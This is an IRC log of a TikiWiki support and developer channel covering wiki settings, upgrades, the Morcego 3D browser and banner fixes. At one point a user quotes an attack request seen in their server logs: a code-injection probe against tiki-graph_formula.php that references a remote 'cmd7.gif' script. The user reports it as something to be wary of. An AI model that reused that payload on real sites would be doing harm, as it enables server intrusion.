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[00:01] <spoonypjk> its a front page announcement..
[00:01] <spoonypjk> the post is http://info.tikiwiki.org/tiki-read_article.php?articleId=52
[00:01] <Comnenus> It wasn't then
[00:01] <spoonypjk> ah
[00:02] <Comnenus> I don't think it was out for a day.
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[02:07] <voraistos> polom
[02:07] <voraistos> How is the default menu (id 42) generated in tiki ?
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[02:41] <marclaporte> via tiki.sql
[02:41] <marclaporte> in installer
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[03:14] <vkumar> hi everybody..
[03:15] <vkumar> hi luminoso 
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[04:39] <javacougar> Does anyone know how I can have my wiki pages display the date they were last modified and by whom?
[04:45] <voraistos> javacougar I'm  not sure, but I think feature contribution is what you're looking for
[04:48] <nkoth3__> javacougar: doesn't it normally display at the bottom?
[04:49] <javacougar> It isn't showing on my install...Perhaps it is based in the theme?  I am using the mediawiki theme.  Any idea where the setting might be?
[04:52] <voraistos> no it doesn't normally display at the bottom. there are various types of contrib display you can get: last contributor, all contributors, etc...
[04:52] <nkoth3__> right--- where is that setting?
[04:53] <nkoth3__> Admin... Wiki: List Authors dropdown?
[04:53] <voraistos> admin.php?page=wiki
[04:53] <voraistos> err.. no
[04:53] <voraistos> tiki-admin
[04:54] <voraistos> and in tiki2 I'm not sure you can get?page=wiki working
[04:55] <voraistos> admin panel>wiki settings > wiki features > list authors
[04:55] <javacougar> I see that option, testing now
[04:55] <voraistos> what you want is probably "last modified on"
[04:58] <javacougar> I have that selected, but it does not seem to be doing anything
[04:59] <nkoth3__> maybe it is the mediawiki theme. I remember that it is right at the bottom....
[04:59] <nkoth3__> like really at the bottom, in the footer practically for that theme
[04:59] <nkoth3__> Maybe the "footer" needs to be activated in the Look and Feel
[04:59] <javacougar> I guess I should enable the footer and see if its there 
[04:59] <nkoth3__> Beyond that, I have no clue - i haven't tested the mediawiki theme on the latest tiki, to be honest
[05:00] <nkoth3__> Maybe chibaguy might know, but he is not online right now
[05:00] <javacougar> ah yes, its at the top of the footer
[05:00] <javacougar> thanks for your help folks
[05:00] <nkoth3__> np
[05:01] <voraistos> Never looked at at, but the mediatiki theme probably has a great deal of hacked-up .tpls
[05:02] <nkoth3__> a couple I remember
[05:02] <nkoth3__> a handful
[05:03] <javacougar> It's quite different from the standard templates...a few surprises along the way...but overall its been pretty good
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[05:54] <voraistos> hey can you gys help me?
[05:54] <voraistos> I just can't manage to find how the forms are built in tiki
[05:54] <voraistos> for example in tiki-admin.php
[05:55] <voraistos> tiki-admin.php?page=wiki sorry
[05:55] <voraistos> I can change the features, then "set the features"
[05:55] <voraistos> in the html I can find what's going on...
[05:56] <voraistos> in the php and tpl's I can't
[05:56] <voraistos> I just can't find where it says: "    <form action="tiki-admin.php?page=wiki" method="post">  "
[05:58] <voraistos> marclaporte ?
[05:59] <marclaporte> polom
[05:59] <voraistos> polom :D
[05:59] <marclaporte> what are you trying to do?
[05:59] <voraistos> oh and thanks btw for earlier
[05:59] <voraistos> I'm trying to hack the hell out of tiki :D
[05:59] <marclaporte> yay!
[05:59] <voraistos> learning tiki and php at the same time
[05:59] <marclaporte> tiki-admin-include-*.php
[06:00] <voraistos> I don't think so
[06:00] <voraistos> I've looked at the wiki include
[06:00] <voraistos> it's not there
[06:01] <voraistos> or I'm blind :O
[06:01] <marclaporte> what are you changing?
[06:02] <voraistos> the naming of the files
[06:02] <voraistos> I tried that for the wiki itself, and got into trouble (editpage is massive)
[06:03] <voraistos> so I decided to try it out with the admin interface
[06:03] <voraistos> basically, what was once called tiki-admin.php is now called just admin.php
[06:04] <voraistos> getting all the php files moved/linked together isn't the problem, all pages display fine
[06:04] <voraistos> changing the features is the problem
[06:04] <voraistos> because i can't find the piece of code that deals with the forms
[06:07] <voraistos> hey, do you know any tool that can search for stuff in many source code files?
[06:07] * Sug4r you know any tool that can search for stuff in many source code files?
[06:08] <voraistos> wtf ?
[06:09] <voraistos> it seems my desktop search thing doesn't work
[06:09] <marclaporte> I still don't understand what you are trying to fix/change
[06:12] <voraistos> originally, (tiki3), the main admin panel file is called tiki-admin.php
[06:12] <voraistos> Let's say that I don't like the name and want to change it.
[06:12] <voraistos> to... admin.php
[06:13] <voraistos> all the links I could find were changed to admin.php
[06:13] <voraistos> admin.php?page=wiki diplays the wiki option/features
[06:14] <voraistos> and, after changes the links to admin.php, everything displays fine
[06:14] <voraistos> except, when i want to change an option and save, the "save" button is a post form that links to tiki-admin.php
[06:14] <voraistos> because tiki-admin.php doesn't exist it doesn't work
[06:15] <voraistos> I want to find where in the code the form is being processed.
[06:16] <marclaporte> ah
[06:16] <voraistos> I found some forms in the admin-include stuff
[06:16] <voraistos> but not the wiki one
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[06:18] <voraistos> ...
[06:20] <voraistos> alright I apologize
[06:21] <voraistos> fuck knows why, I couldn't find it before, when it is in the right file right in front of my nose
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[07:01] <voraistos> hey marclaporte I don't know why, what I was looking for was right where expectable, I guess lack of sleep did blind me after all ;)
[07:05] <marclaporte> hehe
[07:08] <marclaporte> blaming lack of sleep seems most strategic
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[09:08] <senthil> hi i have configured tikiwiki, but some men's are not listed in the left pane
[09:09] <senthil> and pls tell me how to set the theme...
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[09:11] <senthil> hi]
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[10:44] <vkumar> hi gary.. good evening
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[12:39] <spoonypjk> now the only decision left to make is what brand knife do I throw myself onto.
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[12:49] <CIA-46> tikiwiki: 03chibaguy * r17958 10/branches/3.0/styles/ (darkroom.css thenews.css): [ENH] A little padding in table.normal td (as for example in view tracker).
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[14:44] <xavi> hi all
[14:45] <xavi> I'm interested in using Banners on a tiki site, but they are aparently half-broken on tiki 2.x and 3.x 
[14:45] <rlopez_> hi xavi
[14:45] <xavi> anybody here having banners working fine?
[14:45] <xavi> hi rlopez_! :-)
[14:53] <rlopez_> xavi we have started with the workspaces project (again)
[14:54] <rlopez_> wondering whether you will be in the testing team
[14:54] <xavi> nope, sorry
[14:54] <xavi> I'm still with many things to finish...
[14:55] <xavi> like the book cahpter about wikis in education in Spain for you mate at UAH, ...
[14:55] <xavi> plus my students work, ...
[14:55] <xavi> Maybe in some months time, during summer time?
[14:56] <rlopez_> sure
[14:56] <rlopez_> testing stage hopefully will start on august
[14:56] <rlopez_> :)
[14:57] <rlopez_> but time flies
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[15:00] <Comnenus> Morning.
[15:02] <xavi> evening Comnenus
[15:02] <Comnenus> the 2.3 to 2.4 increment has a README that says to check INSTALL but there is no INSTALL.  The upgrade pages I've found on doc.two are from 1.9 -> 2.x, etc..   Not a minor upgrade.  Any input?
[15:02] <Comnenus> xavi: afternoon in an hour =X
[15:02] <xavi> :-)
[15:02] <xavi> dowload the full install 2.4, and reada the install there, then
[15:03] <xavi> but in short: unzip, and copy those files over your 2.3
[15:03] <xavi> and no database changes needed
[15:03] <Comnenus> Do I need to run tiki-setup again?
[15:03] <CIA-46> tikiwiki: 03sylvieg * r17959 10/branches/3.0/lib/banners/bannerlib.php: notice
[15:05] <xavi> Comnenus: no, just delete your tiki caches, just in case
[15:05] <Comnenus> cool.  trying now.
[15:06] <xavi> Comnenus: could you plase update the documentation so that it's clearer for others haveing the same doubt you had?
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[15:08] <Comnenus> xavi: I can do that?
[15:08] <Comnenus> xavi: Sure.  Once I make sure the way I'm doing it works, I will.
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[15:12] <xavi> Comnenus: not only you can, but you are very welcome to do it! :-) 
[15:12] <xavi> rodrigo_sampaio: hi. TOday I can test morcego and send you whatever log you need to test it's back working on tiki sites :-)
[15:13] <xavi> rodrigo_sampaio: ...provided you tell me which file you need from the server (I'm not very experienced sys admin :-/ )
[15:13] <rodrigo_sampaio> xavi: that is great! I think I have time to look at this this week with your feedback
[15:14] <xavi> ok
[15:14] <rodrigo_sampaio> xavi: I think I've send you in the last email the file I need
[15:14] <xavi> it'll be great to have morcego back working in the coming 3.0 release :-)
[15:14] <rodrigo_sampaio> :)
[15:14] <xavi> rodrigo_sampaio: ok, I'll check that  last email 
[15:15] <rodrigo_sampaio> xavi: actually, I think it is back and you can't use because of a misconfiguration on your server
[15:15] <xavi> ok, ok, I'll check that, then, on different servers
[15:15] <xavi> just in case
[15:15] <rodrigo_sampaio> xavi: I might be wrong but morcego is working in tiki 3.0 on my devel machine
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[15:16] <xavi> rodrigo_sampaio: do you know if from cpanel you can get those apache logs you need?
[15:16] <rodrigo_sampaio> xavi: no idea, i never touched on cpanel :)
[15:16] <xavi> ok :-)
[15:16] <rodrigo_sampaio> but i think so
[15:17] <xavi> the customer who want morcego working on their site only has cpanel access, afaik (and ftp)
[15:17] <xavi> I'll have a look (I'm not experience cpanel user either)
[15:17] <xavi> and if not, I'll try to reproduce on any site where I have access to apache logs, etc.
[15:18] <rodrigo_sampaio> xavi: ok
[15:20] <Comnenus> xavi: is there a way to test if it's actually using the 2.4 changes?
[15:21] <xavi> check if your files from the 2.3 to 2.4 compressed file, are in the server. if they are, then you are running 2.4 version 
[15:22] <xavi> sometimes there is a .timestamp file, but not always (I don't know why)
[15:22] <xavi> or when and when not that file .timestamp is in there, bt it's handy, indeed
[15:22] <xavi> when it's in there
[15:23] <CIA-46> tikiwiki: 03sylvieg * r17960 10/branches/3.0/templates/tiki-site_header.tpl: [FIX]banner: site banner are not depending on custom code when no logo
[15:25] <xavi> rodrigo_sampaio: mmm, what was needed to have morcego working? I?m atempting to test it on doc.tw.o (running 3.0), anvd I see that the feature is enabled at Admin > Features, but icon not shown on wiki pages...
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[15:26] <rodrigo_sampaio> xavi: strange... maybe doc.tw.org has a template that does not include the morcego icon?
[15:26] <Comnenus> xavi: would it be tikiwiki-2.3.tar ?
[15:26] <rodrigo_sampaio> xavi: ohh... there are two features that need to be enable :(
[15:27] * xavi is reading the documentation about Wiki 3D browser, to avoid bothering morcego coders if not needed ;-)
[15:27] <rodrigo_sampaio> xavi: feature_morcego and wiki_feature_3d
[15:27] <xavi> and "XMLRPC API" is enabled in Admin >Features. ", according to the documentation
[15:28] <xavi> !
[15:28] <sylvieg> btw is the site http://morcego.arca.ime.usp.br/tiki-index.php working?
[15:28] <xavi> http://doc.tikiwiki.org/tiki-index.php?page=Wiki+3D
[15:28] * rodrigo_sampaio trust luis fagundes (main morcego developer) to write code not to write docs :)
[15:28] <Comnenus> xavi: don't see anything like that...there isnt a page I need to go to or a script to run?
[15:29] <rodrigo_sampaio> sylvieg: yeah
[15:29] <xavi> Comnenus, no. if you uploaded the new files (2.3 to 2.4) it's fine enough.
[15:30] <Comnenus> xavi: I uploaded the incremental...should I have uploaded the full 2.4?
[15:30] <sylvieg> rodrigo_sampaio: not working for me in FF and IE7 - what browserdo you use?
[15:30] <xavi> Comnenus: it's ok with the incremental
[15:30] <rodrigo_sampaio> sylvieg: i use ff on linux
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[15:30] <rodrigo_sampaio> sylvieg: i think that morcego does not work with 64bits
[15:30] <batawata> hey
[15:31] <xavi> batawata around! hi! :-)
[15:31] <sylvieg> oh strange why do I have a blank left div...
[15:31] <rodrigo_sampaio> sylvieg: your system is 64bits?
[15:31] <batawata> theorically morcego should work with 64bits, but sun's java does not
[15:31] <sylvieg> rodrigo_sampaio: .. I am on 64bits
[15:31] <sylvieg> hello batawata
[15:31] <batawata> since I put 64 linux here I couldn't see it properly (it appears in a very small square instead of whole div at http://morcego.arca.ime.usp.br)
[15:31] <rodrigo_sampaio> at home a have a 64bits machine and i get the same blank left div
[15:32] <batawata> hi xavi! hi sylvieg! :-)
[15:33] <xavi> sylvieg: I had the same issue on linux 64 bits. Nowadays I'm visiting that page from a Linux 32bits and it's working fine for me: http://morcego.arca.ime.usp.br/tiki-index.php
[15:34] <sylvieg> xavi: banner in header working for me on 2 but not in 3....
[15:35] <batawata> that's the problem with java :-(. I wonder if now flash would be able to do all the math needed for morcego (by the time I developed it, the engine would hang with so much calculation)
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[15:40] <xavi> sylvieg, not for me on 2.x in header. Can you tell me some setttings/image to try? or you can register/log in at the site I've told you if you want to reproduce the problem in the 2.x site I told you
[15:42] <xavi> batawata and rodrigo_sampaio: I've updated the page http://doc.tikiwiki.org/Wiki+3D
[15:42] <xavi> however, I can't find the equivalent setting in 3.0 under "Admin > Wiki". Where is it?
[15:43] <xavi> we could leave morcego working on doc.tw.o... that's what I'm attempting in fact, but unsuccessfully yet
[15:46] <xavi> batawata and rodrigo_sampaio : ^?
[15:48] <xavi> batawata and rodrigo_sampaio: which style should I use on doc.tw.o to see the icons?... or where is the missing setting at Admin > Wiki? (if needed)
[15:48] <batawata> xavi: rodrigo_sampaio is having lunch and will brb. I need to check the admin and test to reply, can't do it right now
[15:49] <xavi> ah, ok, sorry, thanks for reply
[15:49] <batawata> no prob :-)
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[16:08] <axold> hi guys
[16:09] <xavi> hi axold
[16:10] <CIA-46> tikiwiki: 03sylvieg * r17961 10/branches/3.0/lib/banners/bannerlib.php: [FIX]banner: default maxClicks in db has been set to NULL :-(
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[16:39] <rodrigo_sampaio> xavi: I think that someone changed the tiki-admin-include-wiki.tpl. on tiki30 the option to enable wiki_feature_3d is missing
[16:39] <rodrigo_sampaio> xavi: if you want to test you can enable it directly in the database
[16:40] <xavi> ok. Can you add it back, please, before the next 3.0beta4 (in two weeks, I think)?
[16:41] <rodrigo_sampaio> xavi: yeah, i think so
[16:41] <xavi> ok, rodrigo_sampaio, I'll also test adding that one to the db in my local, to test. what was the parameter to add to the db table tiki_preferences?
[16:44] <sylvieg>  wiki_feature_3d
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[16:45] <rodrigo_sampaio> xavi: the preference name is wiki_feature_3d and you have to set the value to 'y'
[16:45] <xavi> ok
[16:48] <sylvieg> ricks seems to have lost all the wiki3d setting...
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[16:52] <xavi> hey! magic did the trick!
[16:52] <xavi> :-)
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[16:53] <xavi> rodrigo_sampaio , batawata and sylvieg: thanks to "magic" admin panel, I was able to re-enable morcego on doc.tw.o, and it's working for me nicely!!! :-)
[16:53] <xavi> can you confirm, sylvieg? example: http://doc.tikiwiki.org/tiki-index.php?page=Banners
[16:54] <sylvieg> confirm what?
[16:54] <xavi> that it's working for you at doc.tw.o (morcego)
[16:55] <sylvieg> no I have a white screen because I am 64bits
[16:55] <xavi> mmm, ok, I use to see it smaller on the 64 bit machine, at the page from arca. Anyway, in 32 bits, it's back working on 3.0 sites
[16:56] <xavi> Then, I'll keep up searching why it¡'s not working on 2.x sites.
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[16:58] <rodrigo_sampaio> xavi: I confirm it is working on doc.tw
[16:59] <rodrigo_sampaio> xavi: as far as I remember the problema with 2.0 is the .htaccess
[16:59] <xavi> rodrigo_sampaio: thanks. however, when I click on a node, the page of that node is not loaded to me
[17:00] <rodrigo_sampaio> xavi: the same here
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[17:00] <xavi> shouldn't  it be loaded?
[17:00] <xavi> (it use to be loaded, afair)
[17:01] <rodrigo_sampaio> xavi: i think so, not sure. this we have to ask to batawata and he is not here at the moment
[17:01] <xavi> ok
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[17:03] <xavi> and rodrigo_sampaio: has freetag 3D browsing something to do with morcego?
[17:03] <xavi> I enabled that also in 3.0, but it's showing a blank section on the page. Example: http://doc.tikiwiki.org/tiki-browse_freetags.php?tag=plugin
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[17:08] <rodrigo_sampaio> xavi: i think it uses morcego, afair
[17:08] <xavi> rodrigo_sampaio and batawata: confirmed: Morcego applet not working on freetag browsing to be, at doc.tw.o
[17:08] <xavi> rodrigo_sampaio: yes, confirmed (epiphany didn't tell me so, but FF confitrmed that clearly on the bottom bar)
[17:09] <xavi> s/to be/to me
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[17:11] <xavi> rodrigo_sampaio: and yes, when you click on a node from the wiki 3d browsing window , that page is displayed on the tiki window: it's working fine
[17:11] <Lenny> oh, hello?
[17:12] <Lenny> anybody knows where is Jonny Bradley? :S
[17:13] <xavi> rodrigo_sampaio: well, it's not working always fine to me, but it dd work once, at least, clicking on a node, It's not working again (lastest epiphany on linux)
[17:13] <xavi> Lenny: where? UK?
[17:13] <Lenny> xavi: hehehehe, i thought he was online....
[17:14] <Lenny> in fact he was online a minutes ago
[17:14] <xavi> ok :-)
[17:15] <Lenny> thanks xavi ;)
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[17:20] <xavi> mmmm, rodrigo_sampaio and batawata: epiphany hanged (while browsing wiki paages at doc.tw.o), and when I closed all it's windows, I still had for some time an extra java window open in my computer. JavaEmbedded something... it's gone, now after 10-15seconds
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[17:49] <xavi> anybody remembers how to make the "contact us" available for anonymous?
[17:49] <xavi> Comnenus: you can see the version of your tiki at: tiki-admin.php?page=general
[17:50] <xavi> about contact us for anonymous: I did enabled it at Admin > general, and enabled the contact us feature under admin > features. However, anonymous users just see the contact page with nothing on it.: http://tropicaldesign.org/wiki/tiki-contact.php
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[18:03] <SEWilco2> xavi: Looking at the code, apparently the contact form first tries the site contact user (did you define one in admin>General?) and then checks if the email address of user 'admin' is public.  So I think either the site contact name, or else that of 'admin'.
[18:04] <xavi> hi SEWilco2, and thanks for feedback. 
[18:04] <xavi> That's buggy to me: 
[18:05] <xavi> the "Contact us by email" should be shown, but it's not
[18:05] <xavi> Admin > general is set to allow anons to contact us; user is set as contact user, and that user has email
[18:06] <xavi> however, when you add the perm to anons for sending messags , then anon. user can see the form to send the message, and also the section showing the contact user's email address
[18:06] <xavi> to me, the contact user's email address should be shown even if no perm to send mesage through tiki is granted to anons.
[18:07] <xavi> That's the behavior that Tiki used to have
[18:07] <xavi> This is buggy in 2.4, afaik, then
[18:08] <xavi> rodrigo_sampaio: is GD needed for morcego to work?
[18:08] <xavi> That site with problems with morcego has no GD installed, afaik
[18:09] <rodrigo_sampaio> xavi: i dont think so, im going to confirm that with batawata, just a sec
[18:09] <xavi> ok
[18:11] <rodrigo_sampaio> xavi: morcego does not need gd
[18:11] <xavi> ok
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[18:58] <xavi> c u all. walk the dog time + dinner...
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[19:47] <Lenny> hi everybody....
[19:48] <luciash> polom
[19:48] <Lenny> ...does somebody know what hour does Jonny Bradley connect?
[19:48] <luciash> Lenny: i meet him usually during the UK day hours here
[19:48] <Lenny> sorry, for the stalker question XD
[19:50] <luciash> Lenny: from CZ
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[19:52] <Lenny> when i read Lucia...i thought you were spanish xD
[19:56] <luciash> np, when you read lucia... i expect you thought i'm female too :-p
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[20:37] <CIA-46> tikiwiki: 03pkdille * r17962 10/branches/3.0/lib/wiki-plugins/wikiplugin_trackerstat.php: [FIX] typo
[20:43] <ezrakatz> I've gotten several hits in the last week from someone trying to access  "/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=http://www.classicjoke.com/mambots/cmd7.gif??". It seems like some sort of spam bot, but I'm not inclined to enable the feature to see what happens. This is probably an old bug, but I thought I'd throw it out here just in case it's something new.
[20:46] <sylvieg> tiki-graph_formula was a security problem in old version - if I remember well
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[20:52] <CIA-46> tikiwiki: 03pkdille * r17963 10/branches/3.0/templates/ (tiki-admin-include-blogs.tpl tiki-webmail.tpl): [FIX] typo
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[21:09] <CIA-46> tikiwiki: 03pkdille * r17964 10/branches/3.0/lang/fr/language.php: [MOD] some french translations
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[21:13] <otrotabi> hi there, I would like to store an url address in a tracker field and be able to click on the field and open the link stored there, is it possible ?
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[22:26] <SEWilco2> I am amused by the concept of the tangent of phpinfo.  :-)
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[22:29] <sylvieg> otrotabi use text area
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